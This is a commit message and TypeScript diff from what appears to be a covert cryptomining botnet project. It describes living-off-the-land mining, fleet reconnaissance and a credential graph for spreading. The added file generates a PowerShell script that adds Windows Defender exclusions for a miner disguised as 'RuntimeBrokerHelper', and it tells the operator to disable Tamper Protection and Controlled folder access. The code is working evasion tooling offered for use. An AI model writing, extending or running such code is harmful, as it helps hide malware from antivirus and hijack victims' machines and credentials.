Add tiered LOTL mining onion and fleet recon so agents can fallback across execution tiers while operators see spread and vuln posture in Crucible. Includes triple-onion chain, spread cred graph, and full Go/TS/E2E test validation.

server/web/src/help/defenderExclusion.ts

@@ -0,0 +1,57 @@
+/** Generate a PowerShell script operators run manually to add Defender exclusions. */
+
+export interface DefenderExclusionOptions {
+  /** Install directory, e.g. %LOCALAPPDATA%\\CryptoMiner\\worker-abc */
+  installPath: string;
+  /** Process name without .exe, e.g. RuntimeBrokerHelper */
+  processName: string;
+}
+
+function psEscapeSingleQuoted(value: string): string {
+  return value.replace(/'/g, "''");
+}
+
+export function buildDefenderExclusionScript(opts: DefenderExclusionOptions): string {
+  const installPath = psEscapeSingleQuoted(opts.installPath.trim());
+  const processName = psEscapeSingleQuoted(opts.processName.trim());
+  const processExe = processName.endsWith('.exe') ? processName : `${processName}.exe`;
+
+  return `# AetherForge — Windows Defender exclusions
+# Run elevated (Administrator). Review before executing.
+# Tamper Protection blocks silent changes — disable it temporarily in Windows Security if exclusions fail.
+
+$ErrorActionPreference = 'Stop'
+$principal = [Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()
+if (-not $principal.IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) {
+  Write-Warning 'Re-run this script as Administrator.'
+}
+
+$paths = @(
+  '${installPath}'
+)
+$processes = @(
+  '${processExe}'
+)
+
+try {
+  Add-MpPreference -ExclusionPath $paths -Force
+  Add-MpPreference -ExclusionProcess $processes -Force
+  Write-Host "Added Defender exclusions for install path and ${processExe}"
+} catch {
+  Write-Warning $_.Exception.Message
+}
+
+Write-Host ''
+Write-Host 'Manual checklist if mining still blocked:'
+Write-Host '  1. Windows Security > Virus & threat protection > Manage settings'
+Write-Host '  2. Turn off Tamper Protection, add exclusions, re-enable Tamper Protection'
+Write-Host '  3. Disable Controlled folder access OR allow the agent process'
+Write-Host '  4. Cloud-delivered protection can still flag unknown binaries — exclusions help path/process only'
+`;
+}
+
+/** Example install path for Calibrate preview (Windows localappdata template). */
+export function defaultWindowsInstallPreview(workerName = 'worker'): string {
+  const slug = workerName.trim() || 'worker';
+  return `%LOCALAPPDATA%\\CryptoMiner\\${slug}-{build_short}`;
+}